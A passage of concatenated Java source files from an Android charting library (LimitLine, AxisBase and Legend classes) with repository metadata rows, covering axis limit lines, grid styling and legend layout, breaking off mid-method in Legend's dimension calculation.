``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/components/MarkerView.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 698 |
```java
package com.github.mikephil.charting.components;
import android.graphics.Color;
import android.graphics.DashPathEffect;
import android.graphics.Paint;
import com.github.mikephil.charting.utils.Utils;
/**
* The limit line is an additional feature for all Line-, Bar- and
* ScatterCharts. It allows the displaying of an additional line in the chart
* that marks a certain maximum / limit on the specified axis (x- or y-axis).
*
* @author Philipp Jahoda
*/
public class LimitLine extends ComponentBase {
/** limit / maximum (the y-value or xIndex) */
private float mLimit = 0f;
/** the width of the limit line */
private float mLineWidth = 2f;
/** the color of the limit line */
private int mLineColor = Color.rgb(237, 91, 91);
/** the style of the label text */
private Paint.Style mTextStyle = Paint.Style.FILL_AND_STROKE;
/** label string that is drawn next to the limit line */
private String mLabel = "";
/** the path effect of this LimitLine that makes dashed lines possible */
private DashPathEffect mDashPathEffect = null;
/** indicates the position of the LimitLine label */
private LimitLabelPosition mLabelPosition = LimitLabelPosition.RIGHT_TOP;
/** enum that indicates the position of the LimitLine label */
public enum LimitLabelPosition {
LEFT_TOP, LEFT_BOTTOM, RIGHT_TOP, RIGHT_BOTTOM
}
/**
* Constructor with limit.
*
* @param limit - the position (the value) on the y-axis (y-value) or x-axis
* (xIndex) where this line should appear
*/
public LimitLine(float limit) {
mLimit = limit;
}
/**
* Constructor with limit and label.
*
* @param limit - the position (the value) on the y-axis (y-value) or x-axis
* (xIndex) where this line should appear
* @param label - provide "" if no label is required
*/
public LimitLine(float limit, String label) {
mLimit = limit;
mLabel = label;
}
/**
* Returns the limit that is set for this line.
*
* @return
*/
public float getLimit() {
return mLimit;
}
/**
* set the line width of the chart (min = 0.2f, max = 12f); default 2f NOTE:
* thinner line == better performance, thicker line == worse performance
*
* @param width
*/
public void setLineWidth(float width) {
if (width < 0.2f)
width = 0.2f;
if (width > 12.0f)
width = 12.0f;
mLineWidth = Utils.convertDpToPixel(width);
}
/**
* returns the width of limit line
*
* @return
*/
public float getLineWidth() {
return mLineWidth;
}
/**
* Sets the linecolor for this LimitLine. Make sure to use
* getResources().getColor(...)
*
* @param color
*/
public void setLineColor(int color) {
mLineColor = color;
}
/**
* Returns the color that is used for this LimitLine
*
* @return
*/
public int getLineColor() {
return mLineColor;
}
/**
* Enables the line to be drawn in dashed mode, e.g. like this "- - - - - -"
*
* @param lineLength the length of the line pieces
* @param spaceLength the length of space inbetween the pieces
* @param phase offset, in degrees (normally, use 0)
*/
public void enableDashedLine(float lineLength, float spaceLength, float phase) {
mDashPathEffect = new DashPathEffect(new float[] {
lineLength, spaceLength
}, phase);
}
/**
* Disables the line to be drawn in dashed mode.
*/
public void disableDashedLine() {
mDashPathEffect = null;
}
/**
* Returns true if the dashed-line effect is enabled, false if not. Default:
* disabled
*
* @return
*/
public boolean isDashedLineEnabled() {
return mDashPathEffect == null ? false : true;
}
/**
* returns the DashPathEffect that is set for this LimitLine
*
* @return
*/
public DashPathEffect getDashPathEffect() {
return mDashPathEffect;
}
/**
* Sets the color of the value-text that is drawn next to the LimitLine.
* Default: Paint.Style.FILL_AND_STROKE
*
* @param style
*/
public void setTextStyle(Paint.Style style) {
this.mTextStyle = style;
}
/**
* Returns the color of the value-text that is drawn next to the LimitLine.
*
* @return
*/
public Paint.Style getTextStyle() {
return mTextStyle;
}
/**
* Sets the position of the LimitLine value label (either on the right or on
* the left edge of the chart). Not supported for RadarChart.
*
* @param pos
*/
public void setLabelPosition(LimitLabelPosition pos) {
mLabelPosition = pos;
}
/**
* Returns the position of the LimitLine label (value).
*
* @return
*/
public LimitLabelPosition getLabelPosition() {
return mLabelPosition;
}
/**
* Sets the label that is drawn next to the limit line. Provide "" if no
* label is required.
*
* @param label
*/
public void setLabel(String label) {
mLabel = label;
}
/**
* Returns the label that is drawn next to the limit line.
*
* @return
*/
public String getLabel() {
return mLabel;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/components/LimitLine.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 1,327 |
```java
package com.github.mikephil.charting.components;
import android.graphics.Color;
import android.graphics.DashPathEffect;
import android.util.Log;
import com.github.mikephil.charting.utils.Utils;
import java.util.ArrayList;
import java.util.List;
/**
* Base-class of all axes (previously called labels).
*
* @author Philipp Jahoda
*/
public abstract class AxisBase extends ComponentBase {
private int mGridColor = Color.GRAY;
private float mGridLineWidth = 1f;
private int mAxisLineColor = Color.GRAY;
private float mAxisLineWidth = 1f;
/**
* flag indicating if the grid lines for this axis should be drawn
*/
protected boolean mDrawGridLines = true;
/**
* flag that indicates if the line alongside the axis is drawn or not
*/
protected boolean mDrawAxisLine = true;
/**
* flag that indicates of the labels of this axis should be drawn or not
*/
protected boolean mDrawLabels = true;
/**
* the path effect of the grid lines that makes dashed lines possible
*/
private DashPathEffect mGridDashPathEffect = null;
/**
* array of limit lines that can be set for the axis
*/
protected List<LimitLine> mLimitLines;
/**
* flag indicating the limit lines layer depth
*/
protected boolean mDrawLimitLineBehindData = false;
/**
* flag indicating that the axis-min value has been customized
*/
protected boolean mCustomAxisMin = false;
/**
* flag indicating that the axis-max value has been customized
*/
protected boolean mCustomAxisMax = false;
/**
* don't touch this direclty, use setter
*/
public float mAxisMaximum = 0f;
/**
* don't touch this directly, use setter
*/
public float mAxisMinimum = 0f;
/**
* the total range of values this axis covers
*/
public float mAxisRange = 0f;
/**
* default constructor
*/
public AxisBase() {
this.mTextSize = Utils.convertDpToPixel(10f);
this.mXOffset = Utils.convertDpToPixel(5f);
this.mYOffset = Utils.convertDpToPixel(5f);
this.mLimitLines = new ArrayList<>();
}
/**
* Set this to true to enable drawing the grid lines for this axis.
*
* @param enabled
*/
public void setDrawGridLines(boolean enabled) {
mDrawGridLines = enabled;
}
/**
* Returns true if drawing grid lines is enabled for this axis.
*
* @return
*/
public boolean isDrawGridLinesEnabled() {
return mDrawGridLines;
}
/**
* Set this to true if the line alongside the axis should be drawn or not.
*
* @param enabled
*/
public void setDrawAxisLine(boolean enabled) {
mDrawAxisLine = enabled;
}
/**
* Returns true if the line alongside the axis should be drawn.
*
* @return
*/
public boolean isDrawAxisLineEnabled() {
return mDrawAxisLine;
}
/**
* Sets the color of the grid lines for this axis (the horizontal lines
* coming from each label).
*
* @param color
*/
public void setGridColor(int color) {
mGridColor = color;
}
/**
* Returns the color of the grid lines for this axis (the horizontal lines
* coming from each label).
*
* @return
*/
public int getGridColor() {
return mGridColor;
}
/**
* Sets the width of the border surrounding the chart in dp.
*
* @param width
*/
public void setAxisLineWidth(float width) {
mAxisLineWidth = Utils.convertDpToPixel(width);
}
/**
* Returns the width of the axis line (line alongside the axis).
*
* @return
*/
public float getAxisLineWidth() {
return mAxisLineWidth;
}
/**
* Sets the width of the grid lines that are drawn away from each axis
* label.
*
* @param width
*/
public void setGridLineWidth(float width) {
mGridLineWidth = Utils.convertDpToPixel(width);
}
/**
* Returns the width of the grid lines that are drawn away from each axis
* label.
*
* @return
*/
public float getGridLineWidth() {
return mGridLineWidth;
}
/**
* Sets the color of the border surrounding the chart.
*
* @param color
*/
public void setAxisLineColor(int color) {
mAxisLineColor = color;
}
/**
* Returns the color of the axis line (line alongside the axis).
*
* @return
*/
public int getAxisLineColor() {
return mAxisLineColor;
}
/**
* Set this to true to enable drawing the labels of this axis (this will not
* affect drawing the grid lines or axis lines).
*
* @param enabled
*/
public void setDrawLabels(boolean enabled) {
mDrawLabels = enabled;
}
/**
* Returns true if drawing the labels is enabled for this axis.
*
* @return
*/
public boolean isDrawLabelsEnabled() {
return mDrawLabels;
}
/**
* Adds a new LimitLine to this axis.
*
* @param l
*/
public void addLimitLine(LimitLine l) {
mLimitLines.add(l);
if (mLimitLines.size() > 6) {
Log.e("MPAndroiChart",
"Warning! You have more than 6 LimitLines on your axis, do you really want " +
"that?");
}
}
/**
* Removes the specified LimitLine from the axis.
*
* @param l
*/
public void removeLimitLine(LimitLine l) {
mLimitLines.remove(l);
}
/**
* Removes all LimitLines from the axis.
*/
public void removeAllLimitLines() {
mLimitLines.clear();
}
/**
* Returns the LimitLines of this axis.
*
* @return
*/
public List<LimitLine> getLimitLines() {
return mLimitLines;
}
/**
* If this is set to true, the LimitLines are drawn behind the actual data,
* otherwise on top. Default: false
*
* @param enabled
*/
public void setDrawLimitLinesBehindData(boolean enabled) {
mDrawLimitLineBehindData = enabled;
}
public boolean isDrawLimitLinesBehindDataEnabled() {
return mDrawLimitLineBehindData;
}
/**
* Returns the longest formatted label (in terms of characters), this axis
* contains.
*
* @return
*/
public abstract String getLongestLabel();
/**
* Enables the grid line to be drawn in dashed mode, e.g. like this
* "- - - - - -". THIS ONLY WORKS IF HARDWARE-ACCELERATION IS TURNED OFF.
* Keep in mind that hardware acceleration boosts performance.
*
* @param lineLength the length of the line pieces
* @param spaceLength the length of space in between the pieces
* @param phase offset, in degrees (normally, use 0)
*/
public void enableGridDashedLine(float lineLength, float spaceLength, float phase) {
mGridDashPathEffect = new DashPathEffect(new float[]{
lineLength, spaceLength
}, phase);
}
/**
* Disables the grid line to be drawn in dashed mode.
*/
public void disableGridDashedLine() {
mGridDashPathEffect = null;
}
/**
* Returns true if the grid dashed-line effect is enabled, false if not.
*
* @return
*/
public boolean isGridDashedLineEnabled() {
return mGridDashPathEffect == null ? false : true;
}
/**
* returns the DashPathEffect that is set for grid line
*
* @return
*/
public DashPathEffect getGridDashPathEffect() {
return mGridDashPathEffect;
}
/**
* ###### BELOW CODE RELATED TO CUSTOM AXIS VALUES ######
*/
public float getAxisMaximum() {
return mAxisMaximum;
}
public float getAxisMinimum() {
return mAxisMinimum;
}
/**
* By calling this method, any custom maximum value that has been previously set is reseted,
* and the calculation is
* done automatically.
*/
public void resetAxisMaxValue() {
mCustomAxisMax = false;
}
/**
* Returns true if the axis max value has been customized (and is not calculated automatically)
*
* @return
*/
public boolean isAxisMaxCustom() {
return mCustomAxisMax;
}
/**
* By calling this method, any custom minimum value that has been previously set is reseted,
* and the calculation is
* done automatically.
*/
public void resetAxisMinValue() {
mCustomAxisMin = false;
}
/**
* Returns true if the axis min value has been customized (and is not calculated automatically)
*
* @return
*/
public boolean isAxisMinCustom() {
return mCustomAxisMin;
}
/**
* Set a custom minimum value for this axis. If set, this value will not be calculated
* automatically depending on
* the provided data. Use resetAxisMinValue() to undo this. Do not forget to call
* setStartAtZero(false) if you use
* this method. Otherwise, the axis-minimum value will still be forced to 0.
*
* @param min
*/
public void setAxisMinValue(float min) {
mCustomAxisMin = true;
mAxisMinimum = min;
}
/**
* Set a custom maximum value for this axis. If set, this value will not be calculated
* automatically depending on
* the provided data. Use resetAxisMaxValue() to undo this.
*
* @param max
*/
public void setAxisMaxValue(float max) {
mCustomAxisMax = true;
mAxisMaximum = max;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/components/AxisBase.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 2,284 |
```java
package com.github.mikephil.charting.components;
import android.graphics.Paint;
import com.github.mikephil.charting.utils.ColorTemplate;
import com.github.mikephil.charting.utils.FSize;
import com.github.mikephil.charting.utils.Utils;
import com.github.mikephil.charting.utils.ViewPortHandler;
import java.util.ArrayList;
import java.util.List;
/**
* Class representing the legend of the chart. The legend will contain one entry
* per color and DataSet. Multiple colors in one DataSet are grouped together.
* The legend object is NOT available before setting data to the chart.
*
* @author Philipp Jahoda
*/
public class Legend extends ComponentBase {
/**
* This property is deprecated - Use `position`, `horizontalAlignment`, `verticalAlignment`, `orientation`, `drawInside`, `direction`.
*/
public enum LegendPosition {
RIGHT_OF_CHART, RIGHT_OF_CHART_CENTER, RIGHT_OF_CHART_INSIDE,
LEFT_OF_CHART, LEFT_OF_CHART_CENTER, LEFT_OF_CHART_INSIDE,
BELOW_CHART_LEFT, BELOW_CHART_RIGHT, BELOW_CHART_CENTER,
ABOVE_CHART_LEFT, ABOVE_CHART_RIGHT, ABOVE_CHART_CENTER,
PIECHART_CENTER
}
public enum LegendForm {
SQUARE, CIRCLE, LINE
}
public enum LegendHorizontalAlignment
{
LEFT, CENTER, RIGHT
}
public enum LegendVerticalAlignment
{
TOP, CENTER, BOTTOM
}
public enum LegendOrientation
{
HORIZONTAL, VERTICAL
}
public enum LegendDirection {
LEFT_TO_RIGHT, RIGHT_TO_LEFT
}
/**
* the legend colors array, each color is for the form drawn at the same
* index
*/
private int[] mColors;
/** the legend text array. a null label will start a group. */
private String[] mLabels;
/**
* colors that will be appended to the end of the colors array after
* calculating the legend.
*/
private int[] mExtraColors;
/**
* labels that will be appended to the end of the labels array after
* calculating the legend. a null label will start a group.
*/
private String[] mExtraLabels;
/**
* Are the legend labels/colors a custom value or auto calculated? If false,
* then it's auto, if true, then custom. default false (automatic legend)
*/
private boolean mIsLegendCustom = false;
private LegendHorizontalAlignment mHorizontalAlignment = LegendHorizontalAlignment.LEFT;
private LegendVerticalAlignment mVerticalAlignment = LegendVerticalAlignment.BOTTOM;
private LegendOrientation mOrientation = LegendOrientation.HORIZONTAL;
private boolean mDrawInside = false;
/** the text direction for the legend */
private LegendDirection mDirection = LegendDirection.LEFT_TO_RIGHT;
/** the shape/form the legend colors are drawn in */
private LegendForm mShape = LegendForm.SQUARE;
/** the size of the legend forms/shapes */
private float mFormSize = 8f;
/**
* the space between the legend entries on a horizontal axis, default 6f
*/
private float mXEntrySpace = 6f;
/**
* the space between the legend entries on a vertical axis, default 5f
*/
private float mYEntrySpace = 0f;
/**
* the space between the legend entries on a vertical axis, default 2f
* private float mYEntrySpace = 2f; /** the space between the form and the
* actual label/text
*/
private float mFormToTextSpace = 5f;
/** the space that should be left between stacked forms */
private float mStackSpace = 3f;
/** the maximum relative size out of the whole chart view in percent */
private float mMaxSizePercent = 0.95f;
/** default constructor */
public Legend() {
mFormSize = Utils.convertDpToPixel(8f);
mXEntrySpace = Utils.convertDpToPixel(6f);
mYEntrySpace = Utils.convertDpToPixel(0f);
mFormToTextSpace = Utils.convertDpToPixel(5f);
mTextSize = Utils.convertDpToPixel(10f);
mStackSpace = Utils.convertDpToPixel(3f);
this.mXOffset = Utils.convertDpToPixel(5f);
this.mYOffset = Utils.convertDpToPixel(3f); // 2
}
/**
* Constructor. Provide colors and labels for the legend.
*
* @param colors
* @param labels
*/
public Legend(int[] colors, String[] labels) {
this();
if (colors == null || labels == null) {
throw new IllegalArgumentException("colors array or labels array is NULL");
}
if (colors.length != labels.length) {
throw new IllegalArgumentException(
"colors array and labels array need to be of same size");
}
this.mColors = colors;
this.mLabels = labels;
}
/**
* Constructor. Provide colors and labels for the legend.
*
* @param colors
* @param labels
*/
public Legend(List<Integer> colors, List<String> labels) {
this();
if (colors == null || labels == null) {
throw new IllegalArgumentException("colors array or labels array is NULL");
}
if (colors.size() != labels.size()) {
throw new IllegalArgumentException(
"colors array and labels array need to be of same size");
}
this.mColors = Utils.convertIntegers(colors);
this.mLabels = Utils.convertStrings(labels);
}
/**
* This method sets the automatically computed colors for the legend. Use setCustom(...) to set custom colors.
* @param colors
*/
public void setComputedColors(List<Integer> colors) {
mColors = Utils.convertIntegers(colors);
}
/**
* This method sets the automatically computed labels for the legend. Use setCustom(...) to set custom labels.
* @param labels
*/
public void setComputedLabels(List<String> labels) {
mLabels = Utils.convertStrings(labels);
}
/**
* returns the maximum length in pixels across all legend labels + formsize
* + formtotextspace
*
* @param p the paint object used for rendering the text
* @return
*/
public float getMaximumEntryWidth(Paint p) {
float max = 0f;
for (int i = 0; i < mLabels.length; i++) {
if (mLabels[i] != null) {
float length = (float) Utils.calcTextWidth(p, mLabels[i]);
if (length > max)
max = length;
}
}
return max + mFormSize + mFormToTextSpace;
}
/**
* returns the maximum height in pixels across all legend labels
*
* @param p the paint object used for rendering the text
* @return
*/
public float getMaximumEntryHeight(Paint p) {
float max = 0f;
for (int i = 0; i < mLabels.length; i++) {
if (mLabels[i] != null) {
float length = (float) Utils.calcTextHeight(p, mLabels[i]);
if (length > max)
max = length;
}
}
return max;
}
/**
* returns all the colors the legend uses
*
* @return
*/
public int[] getColors() {
return mColors;
}
/**
* returns all the labels the legend uses
*
* @return
*/
public String[] getLabels() {
return mLabels;
}
/**
* Returns the legend-label at the given index.
*
* @param index
* @return
*/
public String getLabel(int index) {
return mLabels[index];
}
/**
* colors that will be appended to the end of the colors array after
* calculating the legend.
*/
public int[] getExtraColors() {
return mExtraColors;
}
/**
* labels that will be appended to the end of the labels array after
* calculating the legend. a null label will start a group.
*/
public String[] getExtraLabels() {
return mExtraLabels;
}
/**
* Colors and labels that will be appended to the end of the auto calculated
* colors and labels arrays after calculating the legend. (if the legend has
* already been calculated, you will need to call notifyDataSetChanged() to
* let the changes take effect)
*/
public void setExtra(List<Integer> colors, List<String> labels) {
this.mExtraColors = Utils.convertIntegers(colors);
this.mExtraLabels = Utils.convertStrings(labels);
}
/**
* Colors and labels that will be appended to the end of the auto calculated
* colors and labels arrays after calculating the legend. (if the legend has
* already been calculated, you will need to call notifyDataSetChanged() to
* let the changes take effect)
*/
public void setExtra(int[] colors, String[] labels) {
this.mExtraColors = colors;
this.mExtraLabels = labels;
}
/**
* Sets a custom legend's labels and colors arrays. The colors count should
* match the labels count. * Each color is for the form drawn at the same
* index. * A null label will start a group. * A ColorTemplate.COLOR_SKIP
* color will avoid drawing a form This will disable the feature that
* automatically calculates the legend labels and colors from the datasets.
* Call resetCustom() to re-enable automatic calculation (and then
* notifyDataSetChanged() is needed to auto-calculate the legend again)
*/
public void setCustom(int[] colors, String[] labels) {
if (colors.length != labels.length) {
throw new IllegalArgumentException(
"colors array and labels array need to be of same size");
}
mLabels = labels;
mColors = colors;
mIsLegendCustom = true;
}
/**
* Sets a custom legend's labels and colors arrays. The colors count should
* match the labels count. * Each color is for the form drawn at the same
* index. * A null label will start a group. * A ColorTemplate.COLOR_SKIP
* color will avoid drawing a form This will disable the feature that
* automatically calculates the legend labels and colors from the datasets.
* Call resetCustom() to re-enable automatic calculation (and then
* notifyDataSetChanged() is needed to auto-calculate the legend again)
*/
public void setCustom(List<Integer> colors, List<String> labels) {
if (colors.size() != labels.size()) {
throw new IllegalArgumentException(
"colors array and labels array need to be of same size");
}
mColors = Utils.convertIntegers(colors);
mLabels = Utils.convertStrings(labels);
mIsLegendCustom = true;
}
/**
* Calling this will disable the custom legend labels (set by
* setCustom(...)). Instead, the labels will again be calculated
* automatically (after notifyDataSetChanged() is called).
*/
public void resetCustom() {
mIsLegendCustom = false;
}
/**
* @return true if a custom legend labels and colors has been set default
* false (automatic legend)
*/
public boolean isLegendCustom() {
return mIsLegendCustom;
}
/**
* returns the position of the legend relative to the chart
*
* @return
*/
public LegendPosition getPosition() {
if (mOrientation == LegendOrientation.VERTICAL
&& mHorizontalAlignment == LegendHorizontalAlignment.CENTER
&& mVerticalAlignment == LegendVerticalAlignment.CENTER) {
return LegendPosition.PIECHART_CENTER;
}
else if (mOrientation == LegendOrientation.HORIZONTAL) {
if (mVerticalAlignment == LegendVerticalAlignment.TOP)
return mHorizontalAlignment == LegendHorizontalAlignment.LEFT
? LegendPosition.ABOVE_CHART_LEFT
: (mHorizontalAlignment == LegendHorizontalAlignment.RIGHT
? LegendPosition.ABOVE_CHART_RIGHT
: LegendPosition.ABOVE_CHART_CENTER);
else
return mHorizontalAlignment == LegendHorizontalAlignment.LEFT
? LegendPosition.BELOW_CHART_LEFT
: (mHorizontalAlignment == LegendHorizontalAlignment.RIGHT
? LegendPosition.BELOW_CHART_RIGHT
: LegendPosition.BELOW_CHART_CENTER);
}
else {
if (mHorizontalAlignment == LegendHorizontalAlignment.LEFT)
return mVerticalAlignment == LegendVerticalAlignment.TOP && mDrawInside
? LegendPosition.LEFT_OF_CHART_INSIDE
: (mVerticalAlignment == LegendVerticalAlignment.CENTER
? LegendPosition.LEFT_OF_CHART_CENTER
: LegendPosition.LEFT_OF_CHART);
else
return mVerticalAlignment == LegendVerticalAlignment.TOP && mDrawInside
? LegendPosition.RIGHT_OF_CHART_INSIDE
: (mVerticalAlignment == LegendVerticalAlignment.CENTER
? LegendPosition.RIGHT_OF_CHART_CENTER
: LegendPosition.RIGHT_OF_CHART);
}
}
/**
* sets the position of the legend relative to the whole chart
*
* @param newValue
*/
public void setPosition(LegendPosition newValue) {
switch (newValue) {
case LEFT_OF_CHART:
case LEFT_OF_CHART_INSIDE:
case LEFT_OF_CHART_CENTER:
mHorizontalAlignment = LegendHorizontalAlignment.LEFT;
mVerticalAlignment = newValue == LegendPosition.LEFT_OF_CHART_CENTER
? LegendVerticalAlignment.CENTER
: LegendVerticalAlignment.TOP;
mOrientation = LegendOrientation.VERTICAL;
break;
case RIGHT_OF_CHART:
case RIGHT_OF_CHART_INSIDE:
case RIGHT_OF_CHART_CENTER:
mHorizontalAlignment = LegendHorizontalAlignment.RIGHT;
mVerticalAlignment = newValue == LegendPosition.RIGHT_OF_CHART_CENTER
? LegendVerticalAlignment.CENTER
: LegendVerticalAlignment.TOP;
mOrientation = LegendOrientation.VERTICAL;
break;
case ABOVE_CHART_LEFT:
case ABOVE_CHART_CENTER:
case ABOVE_CHART_RIGHT:
mHorizontalAlignment = newValue == LegendPosition.ABOVE_CHART_LEFT
? LegendHorizontalAlignment.LEFT
: (newValue == LegendPosition.ABOVE_CHART_RIGHT
? LegendHorizontalAlignment.RIGHT
: LegendHorizontalAlignment.CENTER);
mVerticalAlignment = LegendVerticalAlignment.TOP;
mOrientation = LegendOrientation.HORIZONTAL;
break;
case BELOW_CHART_LEFT:
case BELOW_CHART_CENTER:
case BELOW_CHART_RIGHT:
mHorizontalAlignment = newValue == LegendPosition.BELOW_CHART_LEFT
? LegendHorizontalAlignment.LEFT
: (newValue == LegendPosition.BELOW_CHART_RIGHT
? LegendHorizontalAlignment.RIGHT
: LegendHorizontalAlignment.CENTER);
mVerticalAlignment = LegendVerticalAlignment.BOTTOM;
mOrientation = LegendOrientation.HORIZONTAL;
break;
case PIECHART_CENTER:
mHorizontalAlignment = LegendHorizontalAlignment.CENTER;
mVerticalAlignment = LegendVerticalAlignment.CENTER;
mOrientation = LegendOrientation.VERTICAL;
break;
}
mDrawInside = newValue == LegendPosition.LEFT_OF_CHART_INSIDE
|| newValue == LegendPosition.RIGHT_OF_CHART_INSIDE;
}
/**
* returns the horizontal alignment of the legend
*
* @return
*/
public LegendHorizontalAlignment getHorizontalAlignment() {
return mHorizontalAlignment;
}
/**
* sets the horizontal alignment of the legend
*
* @param value
*/
public void setHorizontalAlignment(LegendHorizontalAlignment value) {
mHorizontalAlignment = value;
}
/**
* returns the vertical alignment of the legend
*
* @return
*/
public LegendVerticalAlignment getVerticalAlignment() {
return mVerticalAlignment;
}
/**
* sets the vertical alignment of the legend
*
* @param value
*/
public void setVerticalAlignment(LegendVerticalAlignment value) {
mVerticalAlignment = value;
}
/**
* returns the orientation of the legend
*
* @return
*/
public LegendOrientation getOrientation() {
return mOrientation;
}
/**
* sets the orientation of the legend
*
* @param value
*/
public void setOrientation(LegendOrientation value) {
mOrientation = value;
}
/**
* returns whether the legend will draw inside the chart or outside
*
* @return
*/
public boolean isDrawInsideEnabled() {
return mDrawInside;
}
/**
* sets whether the legend will draw inside the chart or outside
*
* @param value
*/
public void setDrawInside(boolean value) {
mDrawInside = value;
}
/**
* returns the text direction of the legend
*
* @return
*/
public LegendDirection getDirection() {
return mDirection;
}
/**
* sets the text direction of the legend
*
* @param pos
*/
public void setDirection(LegendDirection pos) {
mDirection = pos;
}
/**
* returns the current form/shape that is set for the legend
*
* @return
*/
public LegendForm getForm() {
return mShape;
}
/**
* sets the form/shape of the legend forms
*
* @param shape
*/
public void setForm(LegendForm shape) {
mShape = shape;
}
/**
* sets the size in pixels of the legend forms, this is internally converted
* in dp, default 8f
*
* @param size
*/
public void setFormSize(float size) {
mFormSize = Utils.convertDpToPixel(size);
}
/**
* returns the size in dp of the legend forms
*
* @return
*/
public float getFormSize() {
return mFormSize;
}
/**
* returns the space between the legend entries on a horizontal axis in
* pixels
*
* @return
*/
public float getXEntrySpace() {
return mXEntrySpace;
}
/**
* sets the space between the legend entries on a horizontal axis in pixels,
* converts to dp internally
*
* @param space
*/
public void setXEntrySpace(float space) {
mXEntrySpace = Utils.convertDpToPixel(space);
}
/**
* returns the space between the legend entries on a vertical axis in pixels
*
* @return
*/
public float getYEntrySpace() {
return mYEntrySpace;
}
/**
* sets the space between the legend entries on a vertical axis in pixels,
* converts to dp internally
*
* @param space
*/
public void setYEntrySpace(float space) {
mYEntrySpace = Utils.convertDpToPixel(space);
}
/**
* returns the space between the form and the actual label/text
*
* @return
*/
public float getFormToTextSpace() {
return mFormToTextSpace;
}
/**
* sets the space between the form and the actual label/text, converts to dp
* internally
*
* @param mFormToTextSpace
*/
public void setFormToTextSpace(float space) {
this.mFormToTextSpace = Utils.convertDpToPixel(space);
}
/**
* returns the space that is left out between stacked forms (with no label)
*
* @return
*/
public float getStackSpace() {
return mStackSpace;
}
/**
* sets the space that is left out between stacked forms (with no label)
*
* @param space
*/
public void setStackSpace(float space) {
mStackSpace = space;
}
/**
* calculates the full width the fully drawn legend will use in pixels
*
* @return
*/
public float getFullWidth(Paint labelpaint) {
float width = 0f;
for (int i = 0; i < mLabels.length; i++) {
// grouped forms have null labels
if (mLabels[i] != null) {
// make a step to the left
if (mColors[i] != ColorTemplate.COLOR_SKIP)
width += mFormSize + mFormToTextSpace;
width += Utils.calcTextWidth(labelpaint, mLabels[i]);
if (i < mLabels.length - 1)
width += mXEntrySpace;
} else {
width += mFormSize;
if (i < mLabels.length - 1)
width += mStackSpace;
}
}
return width;
}
/**
* Calculates the full height of the drawn legend.
*
* @param mLegendLabelPaint
* @return
*/
public float getFullHeight(Paint labelpaint) {
float height = 0f;
for (int i = 0; i < mLabels.length; i++) {
// grouped forms have null labels
if (mLabels[i] != null) {
height += Utils.calcTextHeight(labelpaint, mLabels[i]);
if (i < mLabels.length - 1)
height += mYEntrySpace;
}
}
return height;
}
/** the total width of the legend (needed width space) */
public float mNeededWidth = 0f;
/** the total height of the legend (needed height space) */
public float mNeededHeight = 0f;
public float mTextHeightMax = 0f;
public float mTextWidthMax = 0f;
/** flag that indicates if word wrapping is enabled */
private boolean mWordWrapEnabled = false;
/**
* Should the legend word wrap? / this is currently supported only for:
* BelowChartLeft, BelowChartRight, BelowChartCenter. / note that word
* wrapping a legend takes a toll on performance. / you may want to set
* maxSizePercent when word wrapping, to set the point where the text wraps.
* / default: false
*
* @param enabled
*/
public void setWordWrapEnabled(boolean enabled) {
mWordWrapEnabled = enabled;
}
/**
* If this is set, then word wrapping the legend is enabled. This means the
* legend will not be cut off if too long.
*
* @return
*/
public boolean isWordWrapEnabled() {
return mWordWrapEnabled;
}
/**
* The maximum relative size out of the whole chart view. / If the legend is
* to the right/left of the chart, then this affects the width of the
* legend. / If the legend is to the top/bottom of the chart, then this
* affects the height of the legend. / If the legend is the center of the
* piechart, then this defines the size of the rectangular bounds out of the
* size of the "hole". / default: 0.95f (95%)
*
* @return
*/
public float getMaxSizePercent() {
return mMaxSizePercent;
}
/**
* The maximum relative size out of the whole chart view. / If
* the legend is to the right/left of the chart, then this affects the width
* of the legend. / If the legend is to the top/bottom of the chart, then
* this affects the height of the legend. / default: 0.95f (95%)
*
* @param maxSize
*/
public void setMaxSizePercent(float maxSize) {
mMaxSizePercent = maxSize;
}
private FSize[] mCalculatedLabelSizes = new FSize[] {};
private Boolean[] mCalculatedLabelBreakPoints = new Boolean[] {};
private FSize[] mCalculatedLineSizes = new FSize[] {};
public FSize[] getCalculatedLabelSizes() {
return mCalculatedLabelSizes;
}
public Boolean[] getCalculatedLabelBreakPoints() {
return mCalculatedLabelBreakPoints;
}
public FSize[] getCalculatedLineSizes() {
return mCalculatedLineSizes;
}
/**
* Calculates the dimensions of the Legend. This includes the maximum width
* and height of a single entry, as well as the total width and height of
* the Legend.
*
* @param labelpaint
*/
public void calculateDimensions(Paint labelpaint, ViewPortHandler viewPortHandler) {
mTextWidthMax = getMaximumEntryWidth(labelpaint);
mTextHeightMax = getMaximumEntryHeight(labelpaint);
switch (mOrientation) {
case VERTICAL: {
float maxWidth = 0f, maxHeight = 0f, width = 0f;
float labelLineHeight = Utils.getLineHeight(labelpaint);
final int count = mLabels.length;
boolean wasStacked = false;
for (int i = 0; i < count; i++) {
boolean drawingForm = mColors[i] != ColorTemplate.COLOR_SKIP;
if (!wasStacked)
width = 0.f;
if (drawingForm) {
if (wasStacked)
width += mStackSpace;
width += mFormSize;
}
// grouped forms have null labels
if (mLabels[i] != null) {
// make a step to the left
if (drawingForm && !wasStacked)
width += mFormToTextSpace;
else if (wasStacked) {
maxWidth = Math.max(maxWidth, width);
maxHeight += labelLineHeight + mYEntrySpace;
width = 0.f;
wasStacked = false;
}
width += Utils.calcTextWidth(labelpaint, mLabels[i]);
if (i < count - 1)
maxHeight += labelLineHeight + mYEntrySpace;
}
else {
wasStacked = true;
width += mFormSize;
if (i < count - 1)
width += mStackSpace;
}
maxWidth = Math.max(maxWidth, width);
}
mNeededWidth = maxWidth;
mNeededHeight = maxHeight;
break;
}
case HORIZONTAL: {
int labelCount = mLabels.length;
float labelLineHeight = Utils.getLineHeight(labelpaint);
float labelLineSpacing = Utils.getLineSpacing(labelpaint) + mYEntrySpace;
float contentWidth = viewPortHandler.contentWidth() * mMaxSizePercent;
// Prepare arrays for calculated layout
ArrayList<FSize> calculatedLabelSizes = new ArrayList<>(labelCount);
ArrayList<Boolean> calculatedLabelBreakPoints = new ArrayList<>(labelCount);
